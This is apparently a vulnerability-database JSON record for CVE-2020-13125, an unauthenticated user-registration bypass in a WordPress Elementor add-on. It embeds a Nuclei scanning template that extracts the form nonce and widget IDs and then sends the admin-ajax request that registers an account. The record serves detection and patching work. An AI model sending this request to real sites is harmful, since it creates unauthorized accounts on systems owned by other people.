{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2020-13125/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2020-13125/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2020-13125/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2020-13125/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2020-13125/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2020-13125/enrichment"},"sightings":{"href":"/api/v1/sightings/cve-2020-13125"},"vulnerability":{"href":"/api/v1/vulnerability/cve-2020-13125"}},"enrichments":{"cisa-kev":{"kev":false},"epss":{"epss":0.02307,"kev":false,"percentile":0.83421},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2020/CVE-2020-13125.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2020-13125\n\ninfo:\n  name: Ultimate Addons for Elementor <= 1.24.1 - Registration Bypass\n  author: daffainfo\n  severity: high\n  description: |\n    An issue was discovered in the \"Ultimate Addons for Elementor\" plugin before 1.24.2 for WordPress, as exploited in the wild in May 2020 in conjunction with CVE-2020-13126. Unauthenticated attackers can create users with the Subscriber role even if registration is disabled.\n  impact: |\n    Unauthenticated attackers can create user accounts with Subscriber role, potentially leading to further malicious activities or privilege escalation\n  remediation: |\n    Update to version 1.24.2 or later.\n  reference:\n    - https://www.wordfence.com/blog/2020/05/combined-attack-on-elementor-pro-and-ultimate-addons-for-elementor-puts-1-million-sites-at-risk/\n    - https://nvd.nist.gov/vuln/detail/CVE-2020-13125\n  classification:\n    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N\n    cvss-score: 7.2\n    cve-id: CVE-2020-13125\n    epss-score: 0.02307\n    epss-percentile: 0.83421\n    cwe-id: NVD-CWE-noinfo\n    cpe: cpe:2.3:a:brainstormforce:ultimate_addons_for_elementor:*:*:*:*:*:wordpress:*:*\n  metadata:\n    max-request: 2\n    vendor: brainstormforce\n    product: ultimate_addons_for_elementor\n    framework: wordpress\n  tags: cve2020,cve,wp,wordpress,wp-plugin,brainstormforce,ultimate-addons-for-elementor,vkev,vuln\n\nflow: |\n  http(1)\n  for (let widget_id of iterate(template.widgets_id)) {\n    set(\"widget_id\", widget_id)\n    http(2)\n  }\n\nvariables:\n  username: \"{{rand_base(6)}}\"\n  password: \"{{rand_base(8)}}\"\n  firstname: \"{{rand_base(5)}}\"\n  lastname: \"{{rand_base(5)}}\"\n  email: \"{{randstr}}@{{rand_base(5)}}.com\"\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n\n    redirects: true\n    max-redirects: 2\n\n    matchers-condition: and\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_all(body, \"uaelRegistration\", \"form_nonce\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: form_nonce\n        part: body\n        group: 1\n        regex:\n          - ',\"form_nonce\":\"([a-f0-9]+)\"'\n        internal: true\n\n      - type: regex\n        name: post_id\n        part: body\n        group: 1\n        regex:\n          - '\"post\":{\"id\":([0-9]+),'\n        internal: true\n\n      - type: regex\n        name: widgets_id\n        part: body\n        group: 1\n        regex:\n          - 'elementor-widget-uael-registration-form\" data-id=\"([a-f0-9]+)\"'\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        action=uael_register_user&nonce={{form_nonce}}&data[page_id]={{post_id}}&data[widget_id]={{widget_id}}&data[user_name]={{username}}&data[email]={{email}}&data[password]={{password}}&data[first_name]={{firstname}}&data[last_name]={{lastname}}&data[send_email]={{randstr}}&data[auto_login]=yes\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - 'successfully registered'\n\n      - type: word\n        part: content_type\n        words:\n          - 'application/json'\n\n      - type: status\n        status:\n          - 200\n# digest: 490a0046304402206e87f7cb4fdb316dedc04882ddabb57c2c3336d94213d4f57359d62d6d1093db02201ff81fbbb1301825a899eef06c915a1f2f4b0aadd66e487c62cca64a81c225b5:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2020-13125"}